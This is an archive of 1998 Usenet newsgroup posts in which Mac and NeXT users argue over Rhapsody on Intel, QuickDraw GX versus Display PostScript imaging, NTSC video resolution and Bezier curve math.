References: <slrn6n65fj.sqf.sal@panix3.panix.com> <35739395.42CCE64B@nstar.net> <6l1cq2$k6r$1@new-news.cc.brandeis.edu> <35744B61.1DDA4091@nstar.net> <rmcassid-0206981358190001@dante.eng.uci.edu> <3574976D.A420646B@nstar.net> <rmcassid-0306980206530001@dialin33417.slip.uci.edu> <357567D5.97F93A3C@nstar.net> <rmcassid-0306981318240001@dante.eng.uci.edu>
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Robert Cassidy wrote:
[cut]
> >How about the network computer? Or the NetPC? Or the sub-$1000 Media-GX
> >PC? Those choices are out there, too, Bob. I don't get your point.
>
> I like the ideas of the NC and the NetPC. I don't see that Apple should
> turn into a free-for-all for components that you seem to suggest.
The fact remains that Apple could both provide the free-for-all and yet
also provide a stable and standard environment on the level that you
desire. Back when Apple-built machines had more hardware options than
anyone else, that was exactly the case.
Nowadays, Apple has lost that edge through faults of its own, and I hear
a lot of people saying that they don't need it anyway. Whatever. Apple
could leverage existing PC hardware that it doesn't currently use to
improve the performance, price, and options available on its Macintosh
platform, and yet simultaneously retain a vast majority of its current
simplicity and streamlining.
I'm coming to the slow and reluctant realization that Microsoft is
actually doing precisely this. The "Microsoft platform" is becoming more
stable, more simple, more standardized, and more streamlined as time
goes by. It's also surpassing MacOS in sheer quality in almost every
area.
John Bauer is right; Microsoft *has* done what Apple should have done
all along. Someday soon, I expect I'll be glad they did, since they're
the only one giving me what I really want and expect from a competent
industry vendor. They're not wonderful, but they're the only ones moving
in that direction.
I suspect I've just fallen out of favor with the Cupertino Communist
Party; so be it.
MJP
From: "Michael J. Peck" <mjpeck@nstar.net>
Newsgroups: comp.sys.next.advocacy
Subject: Re: Rhapsody on Intel
Date: Wed, 03 Jun 1998 22:47:25 -0500
Organization: ISPNews http://ispnews.com
Message-ID: <357618CD.182EDB47@nstar.net>
References: <slrn6n65fj.sqf.sal@panix3.panix.com> <3573201E.BCA15AB1 <35739395.42CCE64B@nstar.net> <6l1cq2$k6r$1@new-news.cc.brandeis.edu> <35744B61.1DDA4091@nstar.net> <slrn6n8ud7.jbt.sal@panix2.panix.com> <357498E0.8F6C80B3@nstar.net> <slrn6napbm.5pt.sal@panix3.panix.com> <35757CB5.6CDC6D14@nstar.net> <6l4j1r$ml5$1@news.xmission.com>
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Don Yacktman wrote:
[cut]
> > I don't know, and you didn't previously mention that there was a
> > comparison. You said that he did just fine with his 040 Mac, you didn't
> > say that it outperformed a Pentium 100 (which I doubt, anyway, unless
> > there was a serious RAM deficiency in the Pentium-based machine; signal
> > processing is RAM-intensive).
[cut]
> The reason is that the Color slabs have a very impressive memory
> architecture--wider bus to memory and the DMA+I/O channel controller ASIC.
> Also, the slabs have built in graphics that are connected such that they are
> comparable to a modern AGP port. Not bad for a ca. 1990 design. So many
> people forget that there's a *lot* more to good system performance than a
> fast CPU chip. (Related: throughput goes up with bus width, not just raw
> MHz.) Most high MHz Pentium chips are not performing anywhere near what they
> could be doing just because they're inside boxes that really suck.
That's all true. But I don't think it has much to do with comparing
quality of sound between a slab and a PC with a good sound card. For one
thing, the DSP on the slab was general-purpose, and used system memory;
for that reason, the wide bus to memory was useful. However,
traditionally PC sound cards have never used system memory; they had
memory on the card precisely because the ISA bus was too narrow for
reasonable use of system memory.
*However*, the PCI cards now being released do use system memory because
of the wider bus. The only reason that it's been so long in coming has
been the fact that using a PCI design generally ruins DOS-mode
compatibility with the Sound Blaster standard. I'm sure if it had been
up to the sound card engineers themselves, they would have implemented a
design comparable to the slab's.
It's like the old joke:
"How did God create the world in only six days?"
"He had no installed base to work with."
[cut]
MJP
PS. Apart from raw bit blitting, how did a wide video bus help something
like the NeXTDimension? Didn't the CPU just pass DPS data to the i860
for rendering?
MJP
From: "Lawson English" <english@primenet.com>
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.sys.mac.programmer.misc
Subject: Re: Howabout Something Better than what we have now?
Date: 3 Jun 1998 20:55:00 -0700
Organization: Primenet Services for the Internet
Message-ID: <B19B6872-AF98@206.165.43.48>
References: <6l43r7$5dc$3@ns3.vrx.net>
nntp://news.primenet.com/comp.sys.next.advocacy,
nntp://news.primenet.com/comp.sys.mac.programmer.misc
MIME-Version: 1.0
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Maury Markowitz <maury@remove_this.istar.ca> said:
>In <B19B11C3-1A080@206.165.43.102> "Lawson English" claimed:
>> That was the idea behind GX printing, also. It works reasonably well.
>
> Do you mean aside from the fact that I couldn't get it to print the most
>basic things, and it crashed my printer all the time? Funny definition of
>"works reasonably well".
>
That was with TeacText, right Maury?
----------------------------------------------------------------------
Want Apple to license Cyberdog for third-party development? Go to:
<http://www.pcsincnet.com/petition.html>
----------------------------------------------------------------------
From: maury@remove_this.istar.ca (Maury Markowitz)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.sys.mac.programmer.misc
Subject: Re: Howabout Something Better than what we have now?
Date: 3 Jun 1998 18:11:51 GMT
Organization: I used to be organized, then they canceled the Newton.
Message-ID: <6l43l7$5dc$2@ns3.vrx.net>
References: <6km6s9$5sd$1@ns3.vrx.net> <B1952EF8-100D4@206.165.43.134>
<6kpbgu$kuo$2@ns3.vrx.net> <rex-3105982335250001@192.168.0.3>
<6ktunk$a6t$4@ns3.vrx.net> <rex-0106981554560001@192.168.0.3>
<6l0cl4$763$1@news.cs.tu-berlin.de> <rex-0206980857260001@192.168.0.3>
<6l141h$ig9$1@news.cs.tu-berlin.de> <rex-0206981543010001@192.168.0.3>
<6l1pjm$s30$1@news.cs.tu-berlin.de> <rex-0206981940440001@192.168.0.3>
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Cc: rex@smallandmighty.com
In <rex-0206981940440001@192.168.0.3> Eric King claimed:
> You said they can't be larger than 16k x 16k pixels. The docs say
> otherwise. Furthermore Windows are not Views, so where's my
> misunderstanding?
I just typed...
0 0 moveto
100000 100000 lineto
stroke
into Yap and it worked fine. Obviously the API supports it.
> You've hit upon my problem with directly using PS' imaging model. By
> using PS throughout the graphics system, you're forcing yourself to
> support the lowest common denominator PS systems.
Whereas on the Mac with the choice of GX vs. classic, we get to use
classic.
Maury
From: mpaque@wco.com (Mike Paquette)
Newsgroups: comp.sys.next.advocacy
Subject: Re: Rhapsody on Intel
Date: Wed, 3 Jun 1998 21:49:33 -0700
Organization: Electronics Service Unit No. 16
Message-ID: <1da2hjm.1wg5c9gp42zjwN@sextans157.wco.com>
References: <6jsait$q4o@newsb.netnews.att.com> <3561D1F9.5E62@CONVEX.COM> <6jslbi$i4k1@odie.mcleod.net> <356263EB.E37C0897@nstar.net> <356a268e.0@news.camtech.net.au> <6kkeug$j55$1@news10.ispnews.com> <356e6a40.0@news.camtech.net.au> <6kn7t6$npv$7@newsfep4.sprintmail.com> <rmcassid-2905981526310001@dante.eng.uci.edu> <slrn6n17mu.lsb.sal@panix3.panix.com> <3570A750.56BE9808@nstar.net> <slrn6n5jm1.2kj.sal@panix3.panix.com> <3572E0C5.BDEEDD46@nstar.net> <slrn6n65fj.sqf.sal@panix3.panix.com> <3573201E.BCA15AB1@nstar.net> <slrn6n6csr.a9v.sal@panix3.panix.com> <35739395.42CCE64B@nstar.net> <6l1cq2$k6r$1@new-news.cc.brandeis.edu> <35744B61.1DDA4091@nstar.net> <slrn6n8ud7.jbt.sal@panix2.panix.com> <357498E0.8F6C80B3@nstar.net> <slrn6napbm.5pt.sal@panix3.panix.com> <35757CB5.6CDC6D14@nstar.net> <6l4j1r$ml5$1@news.xmission.com> <357618CD.182EDB47@nstar.net>
Michael J. Peck <mjpeck@nstar.net> wrote:
> For one
> thing, the DSP on the slab was general-purpose, and used system memory;
Actually, the 56001 DSP could only address it's on board chip memory,
and a dedicated add-on memory card in the Turbo machines.
It did have a couple of DMA channels dedicated to it, though, which
certainly helped.
From: maury@remove_this.istar.ca (Maury Markowitz)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.sys.mac.programmer.misc
Subject: Re: Howabout Something Better than what we have now?
Date: 3 Jun 1998 18:15:03 GMT
Organization: I used to be organized, then they canceled the Newton.
Message-ID: <6l43r7$5dc$3@ns3.vrx.net>
References: <6l42s0$1eu$1@news.cs.tu-berlin.de> <B19B11C3-1A080@206.165.43.102>
Mime-Version: 1.0
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Cc: english@primenet.com
In <B19B11C3-1A080@206.165.43.102> "Lawson English" claimed:
> That was the idea behind GX printing, also. It works reasonably well.
Do you mean aside from the fact that I couldn't get it to print the most
basic things, and it crashed my printer all the time? Funny definition of
"works reasonably well".
Maury
From: maury@remove_this.istar.ca (Maury Markowitz)
Newsgroups: comp.sys.next.advocacy
Subject: Re: Rhapsody on Intel
Date: 3 Jun 1998 18:16:53 GMT
Organization: I used to be organized, then they canceled the Newton.
Message-ID: <6l43ul$5dc$4@ns3.vrx.net>
References: <6jsait$q4o@newsb.netnews.att.com> <3561D1F9.5E62@CONVEX.COM>
<6jslbi$i4k1@odie.mcleod.net> <356263EB.E37C0897@nstar.net>
<356a268e.0@news.camtech.net.au> <6kkeug$j55$1@news10.ispnews.com>
<slrn6ms4sm.79d.NOSPAMmbkennelNOSPAM@lyapunov.ucsd.edu> <rmcassid-2905980008090001@dialin33418.slip.uci.edu>
<slrn6mu26s.abi.NOSPAMmbkennelNOSPAM@lyapunov.ucsd.edu> <rmcassid-2905981406440001@dante.eng.uci.edu>
<6kmp99$i5e$3@ns3.vrx.net> <19980531001706761026@sdn-ts-006txhousp05.dialsprint.net>
<6ktv0m$a6t$5@ns3.vrx.net> <19980603030348479219@[168.191.177.137]>
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Cc: drifterusa@sprintmail.com
In <19980603030348479219@[168.191.177.137]> John Bauer claimed:
> > > Except that Apple talks about AltiVec, and the news items that I've
read
> > > describe AltiVec in the context of G4s. Is there a plan for AltiVec on
> > > G3s?
> >
> > I don't think it makes any difference - unless G4's _general_
performance
> > is in the same ball park, AltiVec is meaningless.
>
> I'm not sure what you're getting at here, but IIRC, I wrote the above in
> response to your belief that Apple has not shown an interest in the G4.
> I was simply saying that a) Apple has shown an interest in AltiVec, b)
> to my knowledge, AltiVec is targeted at G4s, ergo c) Apple has shown an
> interest in the G4.
Weird, I think I was replying to another message. And I don't remember
anythin about bitness. But those are definitely my words!
Maury
From: tbrown@netset.com (Ted Brown)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.sys.mac.programmer.misc
Subject: Re: Howabout Something Better than what we have now?
Date: Thu, 04 Jun 1998 01:04:58 -0400
Organization: All USENET -- http://www.Supernews.com
Message-ID: <tbrown-0406980104590001@mv204.axom.com>
References: <rex-2305981101130001@192.168.0.3> <6k9qea$d5n$1@ironhorse.plsys.co.uk> <rex-2505980225090001@192.168.0.3> <6kca7d$d5n$7@ironhorse.plsys.co.uk> <B18F17D4-38174@206.165.43.100> <6ke4v6$d5n$9@ironhorse.plsys.co.uk> <B1901713-22772@206.165.43.147> <6kejq7$6na$1@bartlet.df.lth.se> <B1906698-5F2F7@206.165.43.154> <1d9pjdq.1drqzt8l2l0zwN@carina43.wco.com> <B1924891-1589E@206.165.43.70> <6kj771$3v3$1@ironhorse.plsys.co.uk> <B1927A7F-2C857@206.165.43.156> <6kjhrh$2fh$1@bartlet.df.lth.se> <B192E0B6-44EE7@206.165.43.40> <jak-2805981110120001@fdialup162.phnx.uswest.net> <B19310E3-26E8D@206.165.43.179> <jak-2905981049520001@adialup109.phnx.uswest.net> <B1947598-35F2A@206.165.43.148> <6knucq$46c$1@news.digifix.com> <B195AF8F-215CF@206.165.43.152> <6kqmcc$3k6$1@news.digifix.com> <B1965026-29DBC@206.165.43.17> <6kt71m$se$1@news.digifix.com> <B1979A5C-B805@206.165.43.180> <1da1g6l.1duqiv7ikdwl2N@cetus202.wco.com>
In article <1da1g6l.1duqiv7ikdwl2N@cetus202.wco.com>, mpaque@wco.com (Mike
Paquette) wrote:
>Lawson English <english@primenet.com> wrote:
>
>> MS and
>> Adobe never followed the rules for GX. Whether this was deliberate or not
>> is left for the reader to determine, but I'd like to point out that Word
>> 4.0 worked just fine under GX, but Word 5.1 broke
>
>Oooh! The Great Conspiracy grows! Now Microsoft and Adobe are in on it.
>Heck, I was probably in on it, until some fellow in a black suit and
>sunglasses put that flashy thing in my face.
>
>Can you see the fnords yet?
I missed Lawson's original post, but conspiracy isn't needed here, just
plain ol' Murphy:
Never ascribe to malice what stupidty can explain.
--
Ted Brown tbrown@netset.com
From: jcr.remove@this.phrase.idiom.com (John C. Randolph)
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy
Subject: Re: Where is all the mac software????
Date: 4 Jun 1998 01:35:15 GMT
Organization: Idiom Communications
Message-ID: <6l4tkj$m1e$1@news.idiom.com>
References: <edremy-ya02408000R0206981803490001@nnrp.usc.edu> <B19ADC53-174E2D5@141.214.128.36>
<edremy-ya02408000R0306981019150001@nnrp.usc.edu> <justincsNOSPAM-0306981404010001@ip231.pontiac.mi.pub-ip.psi.net>
<6l4c6j$d78@yobi.sierra.com> <justincsNOSPAM-0306981742450001@ip196.pontiac.mi.pub-ip.psi.net>
Mime-Version: 1.0
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Cc: justincsNOSPAM@psi.net
Justin Case may or may not have said:
-> In article <6l4c6j$d78@yobi.sierra.com>, "Earl Malmrose"
-> <earl.malmrose@nospam.sierra.com> wrote:
->
-> > Justin Case wrote in message ...
-> > >
-> > >NTSC graphics are set at 640x480 @ 30 fps. Colors will only bleed if
the
-> > >producer of the game hasn't a clue what NTSC 'safe' colors are. There
are
-> > >thousands upon thousands of colors that are NTSC 'safe'. Most computer
-> > >games play at a 'thousands' setting, if not 256 colors, so your point
-> > >is...?
-> >
-> > You're pushing NTSC to get 640x480. A lot of TV's just don't have that
kind
-> > of resolution. My 60" does.
->
-> I beg to differ, Earl. BUT - so not to seem arguementative with your above
-> statement, why don't you tell us the standard resolution for NTSC then?
First of all, NTSC is a color-encoding standard, and it does not specify
resolution in any way. All that NTSC specifies is the frequency of the color
burst signal, and the means of encoding the color by phase-shifting the color
carrier portion of the signal relative to the color burst.
As for resolution: typically, a broadcast signal in the US is an RS-170
signal, which specifies that the raster is interlaced, the voltage of the
signal is 1 volt peak to peak, the horizontal sweep frequency is 15.750 Khz,
and that the vertical interval is 60 Hz.
There are 525 lines in a frame, of which 482.5 lines are what is considered
the "displayable" portion of the raster. The rest of the lines are the
vertical blank interval, whiich you can see as a black bar between frames, if
you twiddle your "vertical hold" control. Most video monitors will overscan,
which spreads the raster a bit past the edges of the screen, so that some of
the lines are lost at the top and bottom of the screen.
As for the horizontal resolution, that depends on the signal path and the
quality of the display itself. The way to determine your actual horizontal
resolution is to put up a resolution test pattern, and look for the place
where the narrow radial lines in the pattern blur together.
A typical television set breaks up at about 400 lines of resolution. If you
have a high-quality display, and are feeding it through an S-video interface
from a laserdisk player or a similar digital video source, you might get 600
or more lines. I use a studio monitor, which can actually resolve close to
800 lines.
-jcr
From: "Lawson English" <english@primenet.com>
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: End of WYSIWYG w/out DPS?
Date: 3 Jun 1998 21:40:01 -0700
Organization: Primenet Services for the Internet
Message-ID: <B19B732E-33558@206.165.43.48>
References: <us5emx6vtvs.fsf@ai.mit.edu>
To: "Stephen Peters" <portnoy@ai.mit.edu>
nntp://news.primenet.com/comp.sys.next.advocacy
MIME-Version: 1.0
Content-Type: text/plain; charset=US-ASCII
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Stephen Peters <portnoy@ai.mit.edu> said:
>"Lawson English" <english@primenet.com> writes:
>
>> The equivalent process for cubic and higher Beziers is more complex and
>> requires multiplication, making it less suitable for older machines. It
>> should STILL be slower than the equivalent quadratic implementation,
>> [...]
>
>There is no equivalent quadratic for most cubics.
There is ALWAYS an equivalent pair of quadratic Beziers for ALL cubic
Beziers.
>
>> Incidentally, while browsing [Bartels, Beatty and Barsky], I learned
>> that a cubic Bezier can ALWAYS be implemented as a composite of 2
>> quadratics
>
>I'm almost positive you read this wrong. A cubic Bezier curve is
>C2-continuous throughout. Splitting the cubic into two pieces will
>only create two (as you put it later in your article) "mathematically
>perfect" curve segments if you're lucky enough to start with a
>degree-raised quadratic curve to start with.
>
Nope. The split can always be done.
>You can try to fake it, but you're going to end up with error in the
>final result, and probably end up with a C2 discontinuity. That won't
>fool a lot of people -- it'll feel wrong when you look at it.
>
Nope. It will look EXACTLY like the higher-degree curve. Exactly.
>But hell, maybe I'm wrong; I didn't write the book on splines. I'll
>gladly check BBB if you have a page or chapter reference where it
>describes an error-free degree reduction method.
>
Page 224 of "Killer Bs", section 10.6.1:
"Before deriving the equations governing the arbitrary subdivision of
Bezier curves, it will be shown tha the dth degree Bezier curve is a
_convex cobination_ of a pair of (d-1)st degree Bezier curves. In
particular, the curve for v[0], ... v[d] is a convext combination of curves
for v[o],...v[d-1] and v[1],...v[d] with coefficients 1-u and u,
respectively..."
[proof follows]
>> (and a lower-degree can always be exactly represented by a
>> higher-degree Bezier)
>
>This, however, you read correctly.
>
Read the other correctly, also.
----------------------------------------------------------------------
Want Apple to license Cyberdog for third-party development? Go to:
<http://www.pcsincnet.com/petition.html>
----------------------------------------------------------------------
From: rex@smallandmighty.com (Eric King)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.sys.mac.programmer.misc
Subject: Re: Howabout Something Better than what we have now?
Date: Thu, 04 Jun 1998 02:11:30 -0400
Organization: The Small & Mighty Group
Message-ID: <rex-0406980211320001@192.168.0.3>
References: <6ke4v6$d5n$9@ironhorse.plsys.co.uk> <B1901713-22772@206.165.43.147> <6kejq7$6na$1@bartlet.df.lth.se> <B1906698-5F2F7@206.165.43.154> <1d9pjdq.1drqzt8l2l0zwN@carina43.wco.com> <B1924891-1589E@206.165.43.70> <6kj771$3v3$1@ironhorse.plsys.co.uk> <B1927A7F-2C857@206.165.43.156> <6kjhrh$2fh$1@bartlet.df.lth.se> <rex-2805981447420001@192.168.0.3> <6kkfev$ojb$1@news.cs.tu-berlin.de> <rex-2805981808060001@192.168.0.3> <6km24a$s3m$3@ns3.vrx.net> <B1943079-ED44D@206.165.43.122> <6km6s9$5sd$1@ns3.vrx.net> <B1952EF8-100D4@206.165.43.134> <6kpbgu$kuo$2@ns3.vrx.net> <rex-3105982335250001@192.168.0.3> <6ktunk$a6t$4@ns3.vrx.net> <rex-0106981554560001@192.168.0.3> <6l0cl4$763$1@news.cs.tu-berlin.de> <rex-0206980857260001@192.168.0.3> <6l141h$ig9$1@news.cs.tu-berlin.de> <rex-0206981543010001@192.168.0.3> <6l1pjm$s30$1@news.cs.tu-berlin.de> <rex-0206981940440001@192.168.0.3> <6l2q9p$cjt$1@news.cs.tu-berlin.de> <rex-0306981328290001@192.168.0.3> <1da1oie.1qay520aezixhN@cetus202.wco.com>
In article <1da1oie.1qay520aezixhN@cetus202.wco.com>, mpaque@wco.com (Mike
Paquette) wrote:
:> I'd rather see something like the following, which is similar to how GX
:> was structured. Note how the internal representation is never exposed:
:> Application->internal representation->Screen
:> Application->internal representation->Bitmap->Printer
:> Application->internal representation->PDF
:> Application->internal representation->Postscript
:> Application->internal representation->Postscript->Printer
:> Application->internal representation->QTML
:
:Closer...
:
:The actual paths look more like this:
:
: Application->Extended QuickDraw->Screen
: Application->Extended QuickDraw->PixMaps->???
: Application->Extended QuickDraw->PDF->File
: Application->Extended QuickDraw->PDF->Print Sys->RIP->Raster Printer
: Application->Extended QuickDraw->PDF->Print Sys->PostScript->Printer
For brevity, I had left the actual communications, drawing, and
translation systems out of my diagrams. (They're represented by the '->'s)
Overall, though, this looks like a very positive improvement over
OpenStep's imaging system. PDFs make a lot more sense than Postscript.
Furthermore, as long as no PDF-dependencies creep into the Appkit, it
should be possible to radically change or augment Extended Quickdraw
without breaking anything.
-Eric
From: "Earl Malmrose" <malmrose@nospam.jetcity.com>
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy
Subject: Re: Where is all the mac software????
Date: 4 Jun 1998 06:01:23 GMT
Organization: ISPNews http://ispnews.com
Message-ID: <01bd8f7d$f889b420$0b0ba8c0@woohoo>
References: <edremy-ya02408000R0206981803490001@nnrp.usc.edu> <B19ADC53-174E2D5@141.214.128.36> <edremy-ya02408000R0306981019150001@nnrp.usc.edu> <justincsNOSPAM-0306981404010001@ip231.pontiac.mi.pub-ip.psi.net> <6l4c6j$d78@yobi.sierra.com> <justincsNOSPAM-0306981742450001@ip196.pontiac.mi.pub-ip.psi.net>
NNTP-Posting-Date: 4 Jun 1998 06:01:23 GMT
Justin Case <justincsNOSPAM@psi.net> wrote in article
<justincsNOSPAM-0306981742450001@ip196.pontiac.mi.pub-ip.psi.net>...
>
> I beg to differ, Earl. BUT - so not to seem arguementative with your
above
> statement, why don't you tell us the standard resolution for NTSC then?
I'm not exactly sure. I do know that there's no way you can read small
fonts on a TV the size that's readable on a 640x480 computer monitor.
From: rmcassid@uci.edu (Robert Cassidy)
Newsgroups: comp.sys.next.advocacy
Subject: Re: Rhapsody on Intel
Date: Wed, 03 Jun 1998 23:30:17 -0800
Organization: UC Irvine
Message-ID: <rmcassid-0306982330280001@dialin33422.slip.uci.edu>
References: <slrn6n65fj.sqf.sal@panix3.panix.com> <35739395.42CCE64B@nstar.net> <6l1cq2$k6r$1@new-news.cc.brandeis.edu> <35744B61.1DDA4091@nstar.net> <rmcassid-0206981358190001@dante.eng.uci.edu> <3574976D.A420646B@nstar.net> <rmcassid-0306980206530001@dialin33417.slip.uci.edu> <357567D5.97F93A3C@nstar.net> <rmcassid-0306981318240001@dante.eng.uci.edu> <35761696.66821BB@nstar.net>
In article <35761696.66821BB@nstar.net>, "Michael J. Peck"
<mjpeck@nstar.net> wrote:
> The fact remains that Apple could both provide the free-for-all and yet
> also provide a stable and standard environment on the level that you
> desire. Back when Apple-built machines had more hardware options than
> anyone else, that was exactly the case.
I agree that they could. I don't agree that the Wintel world can, however,
without some kind of MS forced regulation.
> Nowadays, Apple has lost that edge through faults of its own, and I hear
> a lot of people saying that they don't need it anyway. Whatever. Apple
> could leverage existing PC hardware that it doesn't currently use to
> improve the performance, price, and options available on its Macintosh
> platform, and yet simultaneously retain a vast majority of its current
> simplicity and streamlining.
Apple did lose it's edge, but I don't see that it can't necessarily
return. In fact, I do see it returning in exactly the fashion you state.
Unfortunately at a time of industry-wide standards turmoil it's hard to
point to them as being more on top of things than everyone else.
I'm also *very* pleased (unlike many) to see Apple willing to shed the
historical components from their systems, relying instead on 3rd parties
to deliver those elements. Quite honestly, I'm glad they are getting rid
of floppies, serial, and so on. ADB has always been a nice component, but
I look forward to the volume that USB brings. I'd prefer to see Firewire
adopted *now* however, across the board, if only to allow such things as
3rd party SCSI adaptors and whatnot.
Given the adoption of USB and AGP soon, plus the addition of 3rd party
tried-and-true video acceleration, Cardbus on laptops, PC standard IrDA,
Thinkpad standard RAM, and on and on, I can't see *too* many more areas
for Apple to improve upon down the road. Most of what's left is ATX cases,
Intel standard MBs, and Pentium II chips.
> I'm coming to the slow and reluctant realization that Microsoft is
> actually doing precisely this. The "Microsoft platform" is becoming more
> stable, more simple, more standardized, and more streamlined as time
> goes by. It's also surpassing MacOS in sheer quality in almost every
> area.
I'm not convinced of this. While I agree that great advances have been
made by the Microsoft Platform, I still don't see that they will in any
way be able to keep pace with a very focused Apple or Sun. Apple and Sun
haven't been focused, so those gains came easily. As Apple focuses, that
will become much more difficult. The Wintel world is still a place of
incredible inertia. While that inertia ensures that it will still be
moving in 5 years time, it's not at all clear to me that they will be
moving in the right direction. The best thing for the Wintel world is to
make sure nobody is seen to have considerably better ideas and products
than MS and Intel. Because they'll never be able to move quickly enough to
stay competitve. Rather they depend on marketing to bring the publics eyes
back to them.
> John Bauer is right; Microsoft *has* done what Apple should have done
> all along. Someday soon, I expect I'll be glad they did, since they're
> the only one giving me what I really want and expect from a competent
> industry vendor. They're not wonderful, but they're the only ones moving
> in that direction.
MS has consistenly not delivered what I expect from a competent industry
vendor. They have never _seriously_ committed to delivering better tools
or solutions to me as a user. Rather, I see slow, marginal progress with a
big marketing bow on the top. Of course, Apple had a stretch where they
were little better, but I don't see that now.
MS has done little to make my life easier, to make me more productive.
That's really what I'm after. And fixing 10 years of things that should
never have been broken in the first place doesn't cut it as progress in my
book. On the other hand, in addition to fixing a number of things that
should never have been broken in the first place, Allegro also delivers a
rather large number of improvements that *will* make my life easier. In
fact, I think 8.5 has more to offer *me* than even 8.0 did. I don't,
however, see anything in Win 98 that interests me. Lots of fixes. Not much
to make me more productive.
> I suspect I've just fallen out of favor with the Cupertino Communist
> Party; so be it.
And the compliments keep flowing...
-Bob Cassidy
From: ldo@geek-central.gen.new_zealand (Lawrence D¹Oliveiro)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.sys.mac.programmer.misc
Subject: Re: How about something better than what we have now?
Date: Thu, 04 Jun 1998 19:39:25 +1200
Organization: Geek Central
Message-ID: <ldo-0406981939250001@a24.hn1.wave.co.nz>
References: <6km6s9$5sd$1@ns3.vrx.net> <B1952EF8-100D4@206.165.43.134> <6kpbgu$kuo$2@ns3.vrx.net> <rex-3105982335250001@192.168.0.3> <6ktunk$a6t$4@ns3.vrx.net> <rex-0106981554560001@192.168.0.3> <6l0cl4$763$1@news.cs.tu-berlin.de> <rex-0206980857260001@192.168.0.3> <6l0dki$8th$1@ns3.vrx.net> <rex-0206981046500001@192.168.0.3>
In article <rex-0206981046500001@192.168.0.3>, rex@smallandmighty.com
(Eric King) wrote:
>In article <6l0dki$8th$1@ns3.vrx.net>, maury@remove_this.istar.ca (Maury
>Markowitz) wrote:
>: In DPS you work in float and think in float.
>
> No you don't, and an OpenStep developer familiar with DPS' internals
>just said you didn't a few days ago. You think in float but have to
>remember you're really working in fixed. Try creating a font glyph that's
>100000 x 100000 in DPS.
> The fundamental problem here is that most systems that run Postscript
>don't have FPUs, so they can't efficiently work with floating-point
>coordinates.
It seems to me that floating point is subject to the usual CISC fallacy:
putting a complex, slow operation into hardware still makes it complex and
slow. Fixed point is faster than floating point, and stays that way no
matter how much hardware you throw at both.
From: ldo@geek-central.gen.new_zealand (Lawrence D¹Oliveiro)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.sys.mac.programmer.misc
Subject: Re: GX vs PS (was Re: Howabout Something Better than what we have now?)
Date: Thu, 04 Jun 1998 19:33:52 +1200
Organization: Geek Central
Message-ID: <ldo-0406981933530001@a24.hn1.wave.co.nz>
References: <6km6s9$5sd$1@ns3.vrx.net> <B1952EF8-100D4@206.165.43.134> <6kpbgu$kuo$2@ns3.vrx.net> <rex-3105982335250001@192.168.0.3> <6ktunk$a6t$4@ns3.vrx.net> <rex-0106981554560001@192.168.0.3>
In article <rex-0106981554560001@192.168.0.3>, rex@smallandmighty.com
(Eric King) wrote:
>I wouldn't be surprised if Apple's new solution also shared the
>same coordinate space limitations since they're aiming to be compatible
>with PDF and Postscript.
Speaking of coordinate space limitations, ever wondered why Adobe's
Acrobat Reader won't display pages larger than 45 inches on a side,
whereas GX never had any such limitations? In fact, SimpleView
<http://www.geek-central.gen.nz/pages/ldo/sw/index.html#SimpleView>
includes a sample graphic that is six and a half feet wide (a chart of
geological ages, done to scale), and you can zoom in to examine the
shortest epochs, or zoom out to encompass the longest eras.
From: ldo@geek-central.gen.new_zealand (Lawrence D¹Oliveiro)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.sys.mac.programmer.misc
Subject: Re: How about something better than what we have now?
Date: Thu, 04 Jun 1998 19:44:34 +1200
Organization: Geek Central
Message-ID: <ldo-0406981944340001@a24.hn1.wave.co.nz>
References: <6km6s9$5sd$1@ns3.vrx.net> <B1952EF8-100D4@206.165.43.134> <6kpbgu$kuo$2@ns3.vrx.net> <rex-3105982335250001@192.168.0.3> <6ktunk$a6t$4@ns3.vrx.net> <rex-0106981554560001@192.168.0.3> <6l0cl4$763$1@news.cs.tu-berlin.de> <rex-0206980857260001@192.168.0.3> <6l141h$ig9$1@news.cs.tu-berlin.de> <rex-0206981543010001@192.168.0.3> <6l1pjm$s30$1@news.cs.tu-berlin.de> <rex-0206981940440001@192.168.0.3>
In article <rex-0206981940440001@192.168.0.3>, rex@smallandmighty.com
(Eric King) wrote:
> What if you *need* double precision? All of the DPS calls specify floats.
and
> I don't think many people would be bothered by a 32k x 32k coordinate
>system constraint. It's just not that big of an issue for the vast
>majority of developers.
I recall a remark from Tom Dowdy, one-time lead GX engineer, that GX
fixed-point coordinates let you measure a distance of 30 feet with a
resolution down to the wavelength of red light. This should be sufficient
for most graphics needs.
Pity the same can't be said about Display PostScript...
From: ldo@geek-central.gen.new_zealand (Lawrence D¹Oliveiro)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.sys.mac.programmer.misc
Subject: Re: GX vs PS (was Re: Howabout Something Better than what we have now?)
Date: Thu, 04 Jun 1998 20:06:19 +1200
Organization: Geek Central
Message-ID: <ldo-0406982006200001@a24.hn1.wave.co.nz>
References: <B196AF2E-6ECC@206.165.43.133> <B196C2E5-5109F@206.165.43.133> <6kt6us$sd$1@news.digifix.com>
In article <6kt6us$sd$1@news.digifix.com>, sanguish@digifix.com (Scott
Anguish) wrote:
> My problems with GX are that it was so late that we had to
>leave the platform.
Sure, it took seven years from initial concept to first release. But what
else appeared in the meantime? Apart from proprietary graphics engines
that each application vendor had to develop for its internal use, most of
the world has been stuck with the PostScript/PDF graphics model all that
time (and still is).
> Right now is is so bloated that it isn't even documented in a
>managable format. 500 pages of docs for the typography alone is way
>overkill.
Do you know of any other layout engine that offers comparable capabilities
in a simpler form? There ain't no such thing. Face it: text handling is
complex. One look at some of the world's writing systems (like Japanese or
Arabic) should convince you of that.
GX is the most elegant and compact solution to this problem that anyone
has ever come up with. (Go on, prove me wrong...)
From: macghod@concentric.net (Steve Sullivan)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: g3's
